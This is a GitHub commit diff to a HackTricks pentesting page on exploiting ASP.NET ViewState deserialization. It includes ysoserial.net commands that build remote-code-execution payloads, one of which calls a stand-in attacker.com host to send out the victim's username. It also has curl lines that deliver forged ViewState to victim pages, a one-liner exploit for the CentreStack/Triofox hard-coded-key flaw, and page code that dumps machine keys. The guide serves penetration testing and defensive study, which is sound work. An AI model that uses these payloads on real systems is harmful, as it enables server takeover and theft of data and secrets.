Skip to content

Commit 1df2dc5

Browse files
authored
Merge pull request #2454 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_exploiting-__viewstate-parameter_20260701_220745
Research Update Enhanced src/pentesting-web/deserialization/...
2 parents bdec01f + f91dcce commit 1df2dc5

1 file changed

Lines changed: 41 additions & 53 deletions

File tree

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

Lines changed: 41 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -42,9 +42,9 @@ You can try to identify if ViewState is MAC protected by capturing a request con
4242
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
4343
```
4444

45-
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
45+
### Test case 1.5 – Like Test case 1 but the ViewState hidden field isn't sent by the server
4646

47-
Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\
47+
Developers can **remove ViewState** from the **server response** (the user won't receive this hidden field).\
4848
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
4949
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
5050

@@ -77,50 +77,48 @@ You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/N
7777
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
7878
7979
--encrypteddata : __VIEWSTATE parameter value of the target application
80-
--modifier : __VIWESTATEGENERATOR parameter value
80+
--modifier : __VIEWSTATEGENERATOR parameter value
8181
```
8282

83-
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
83+
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode:
8484

85-
It can either be supplied with the viewstate and generator directly:
86-
87-
```
85+
```bash
8886
pip install badsecrets
89-
git clone https://github.com/blacklanternsecurity/badsecrets
90-
cd badsecrets
91-
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
87+
badsecrets --url https://target/page.aspx
9288
```
9389

94-
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
90+
This mode carves the response for cryptographic artifacts and tests any discovered `__VIEWSTATE` / `__VIEWSTATEGENERATOR` values against the built-in `machineKey` corpus.
9591

96-
Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
92+
If the page uses **split ViewState**, reassemble all parts before manual testing:
9793

98-
```
99-
pip install badsecrets
100-
git clone https://github.com/blacklanternsecurity/badsecrets
101-
cd badsecrets
102-
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
94+
```html
95+
<input type="hidden" name="__VIEWSTATEFIELDCOUNT" value="3" />
96+
<input type="hidden" name="__VIEWSTATE" value="<part0>" />
97+
<input type="hidden" name="__VIEWSTATE1" value="<part1>" />
98+
<input type="hidden" name="__VIEWSTATE2" value="<part2>" />
10399
```
104100

105-
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
101+
Concatenate `__VIEWSTATE`, `__VIEWSTATE1`, `__VIEWSTATE2`, and so on in order. Modern `badsecrets` already handles `__VIEWSTATEFIELDCOUNT` reassembly automatically.
106102

107-
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module can be used:
103+
If the application **doesn't render `__VIEWSTATE` at all**, don't stop there: modern `badsecrets` can also test `WebResource.axd` and `ScriptResource.axd` tokens (`ASPNET_Resource`) against known `machineKey` values, which is useful when the page only exposes ASP.NET resource URLs.
108104

109-
```
105+
To search for vulnerable targets at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](https://github.com/blacklanternsecurity/bbot) module can be used:
106+
107+
```bash
110108
bbot -f subdomain-enum -m badsecrets -t evil.corp
111109
```
112110

113111
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
114112

115-
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
113+
If you are lucky and the key is found, you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
116114

117-
```
115+
```bash
118116
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
119117

120-
--generator = {__VIWESTATEGENERATOR parameter value}
118+
--generator = {__VIEWSTATEGENERATOR parameter value}
121119
```
122120

123-
In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
121+
Recent `ysoserial.net` documentation explicitly notes that `--generator` is mainly useful for **.NET <= 4.0** / legacy mode. When `__VIEWSTATEGENERATOR` is **not** exposed, or the target runs **.NET 4.5+**, use the real page and app paths instead:
124122

125123
```bash
126124
--apppath="/" --path="/hello.aspx"
@@ -169,13 +167,13 @@ We can force the usage of ASP.NET framework by specifying the below parameter in
169167
<httpRuntime targetFramework="4.5" />
170168
```
171169

172-
Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
170+
Alternatively, this can be done by specifying the below option inside the `machineKey` parameter of the `web.config` file.
173171

174172
```bash
175173
compatibilityMode="Framework45"
176174
```
177175

178-
As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
176+
As in the previous case, the **value is encrypted**. To send a **valid payload**, the attacker **needs the key**.
179177

180178
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
181179

@@ -189,11 +187,11 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
189187

190188
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
191189

192-
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
190+
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), let URL mode carve the page and test the captured ViewState / generator automatically:
193191

194192
```bash
195-
cd badsecrets
196-
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
193+
pip install badsecrets
194+
badsecrets --url https://target/content/default.aspx
197195
```
198196

199197
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
@@ -221,9 +219,9 @@ You need to use one more parameter in order to create correctly the payload:
221219

222220
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
223221

224-
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with **500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
222+
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server often responds with a `500 Internal Server Error` containing text such as `The state information is invalid for this page and might be corrupted`, while the **out-of-band request still fires**.
225223

226-
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
224+
For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/).
227225

228226
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
229227

@@ -246,24 +244,26 @@ public void Page_Load(object sender, EventArgs e)
246244
</script>
247245
```
248246

249-
Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget:
247+
Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget. For **modern** targets prefer the real path-based derivation:
250248

251249
```bash
252-
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
250+
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
253251
-c "powershell -nop -c \"whoami\"" \
254-
--generator=<VIEWSTATE_GENERATOR> \
252+
--path="/_layouts/15/ToolPane.aspx" --apppath="/" \
255253
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
256254
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
257-
--islegacy --minify
258-
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
255+
--minify
256+
curl -d "__VIEWSTATE=<PAYLOAD>" https://victim/_layouts/15/ToolPane.aspx
259257
```
260258

261-
This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell"CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
259+
Use `--generator` and `--islegacy` only when you know the page is using the **legacy** signing logic (**.NET <= 4.0**). If you need the exact flag combinations after obtaining the keys, check the [sister page about exploiting ViewState when the secret is known](exploiting-__viewstate-knowing-the-secret.md).
260+
261+
This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md). The same technique is applicable to any ASP.NET application where an attacker can run server-side code.
262262

263263
## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys
264264

265265
### Microsoftpublicly disclosed machine keyswave (Dec 2024 – Feb 2025)
266-
Microsoft Threat Intelligence reported mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with the newer `ysoserial.net` 1.41 `--minify` and `--islegacy` flags to evade WAF length limits:
266+
Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`:
267267

268268
```bash
269269
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
@@ -272,10 +272,10 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
272272
--generator=<VIEWSTATEGEN> --minify
273273
```
274274

275-
Targets that keep reusing the same static keys across farms stay vulnerable indefinitely; once they migrate to `AutoGenerate` values the spray technique dies, so prioritize legacy deployments that still expose hard-coded material.
275+
Targets that keep reusing the same static keys across farms stay vulnerable indefinitely, so prioritize legacy deployments that still expose hard-coded material.
276276

277277
### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
278-
Kudelski Security uncovered that multiple CentreStack / Triofox releases shipped with identical `machineKey` values, enabling unauthenticated remote code execution through ViewState forgery (CVE-2025-30406).
278+
Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys.
279279

280280
One-liner exploit:
281281

@@ -288,24 +288,12 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
288288
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
289289
```
290290

291-
Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372upgrade or replace the keys immediately.
291+
This is a good reminder that **recovering one valid key pair is often enough to pivot across every sibling node or customer tenant that reuses it**.
292292

293293
## References
294294

295-
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
296-
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
297-
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
298-
- [Introducing badsecretsfast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
299-
- [SharePointToolShellexploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
300295
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
301296
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
302-
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
303-
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
304-
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
305-
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
306-
- [SharePointToolShellexploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
307-
- [Check Point ResearchInside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
308-
309297

310298

311299
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)